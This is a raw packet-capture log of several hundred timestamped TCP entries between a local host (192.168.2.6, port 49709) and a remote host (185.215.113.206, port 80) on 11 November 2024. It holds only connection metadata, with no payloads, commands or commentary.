Nov 11, 2024 12:40:08.175040960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175045013 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175059080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175071001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175075054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175081968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175103903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175123930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175132990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175141096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175152063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175163031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175163031 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175182104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175190926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175192118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175205946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175216913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175219059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175230026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175237894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175240993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175254107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175256014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175266027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175276041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175280094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175309896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175323009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175379038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175390959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175400972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175412893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175422907 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175431013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175441980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175451994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175451994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175472975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175478935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175486088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175497055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175502062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175503969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175520897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.175523996 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175548077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.175565958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176223993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176235914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176246881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176273108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176273108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176285982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176296949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176297903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176311970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176327944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176356077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176398993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176410913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176422119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176434040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176440001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176453114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176464081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176466942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176475048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176486015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176492929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176497936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176510096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176517963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176522970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176537991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176553011 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176562071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176588058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176599979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176613092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176628113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176639080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176644087 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176651001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176662922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176667929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176676035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176687002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176692963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176697016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176712990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176723003 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176740885 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176744938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176758051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176767111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176769018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176784039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176788092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176794052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176801920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176812887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176814079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176825047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176829100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176837921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176850080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176848888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176862001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176875114 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176878929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176891088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176893950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176902056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176913977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176917076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176925898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176937103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176939964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176951885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176970959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.176973104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176987886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.176987886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177000046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177011967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177012920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177023888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177037001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177047968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177047968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177057981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177062035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177073956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177084923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177092075 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177122116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177222013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177233934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177246094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177257061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177265882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177267075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177279949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177290916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177294016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177304029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177313089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177315950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177326918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177331924 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177350998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177354097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177370071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177378893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177381992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177393913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177405119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177407026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177417040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177428007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177432060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177439928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177448988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177453041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177464008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177469015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177495956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177525043 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177536964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177546024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177545071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177557945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177563906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177570105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177572012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177581072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177592039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177603960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177606106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177615881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177628040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177633047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177639961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177645922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177653074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177659988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177665949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177683115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177690029 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177694082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177706957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177720070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177722931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177733898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177736044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177748919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177758932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177761078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177771091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177783966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177787066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177794933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177805901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177809000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177819014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177822113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177834034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177845955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177845955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177858114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177869081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177874088 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177881002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177889109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177892923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.177908897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.177932978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180434942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180470943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180471897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180506945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180519104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180561066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180572033 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180583954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180614948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180629015 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180636883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180648088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180665016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180675983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180679083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180689096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180697918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180702925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180728912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180809975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180829048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180838108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.180850029 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.180876970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181019068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181035995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181046963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181057930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181065083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181070089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181080103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181091070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181096077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181113005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181121111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181127071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181143999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181147099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181159019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181169033 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181169033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181180954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181191921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181196928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181202888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181221962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181224108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181231022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181236982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181256056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181262970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181268930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181281090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181292057 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181293011 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181304932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181312084 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181324005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181333065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181334972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181346893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181358099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181361914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181375980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181389093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181391001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181406021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181410074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181418896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181430101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181437016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181442022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181453943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181457996 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181464911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181482077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181488037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181493044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181504965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181507111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181518078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181528091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181538105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181539059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181550026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181560993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181571007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181571960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181585073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181585073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181602955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181615114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181626081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181627989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181627989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181638002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181648970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181648970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181663036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181673050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181678057 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181684971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181699991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181716919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181716919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181734085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181745052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181756020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181756973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181768894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181780100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181785107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181792974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181804895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181812048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181817055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181835890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181857109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.181876898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181888103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181899071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.181919098 CET	49709	80	192.168.2.6	185.215.113.206
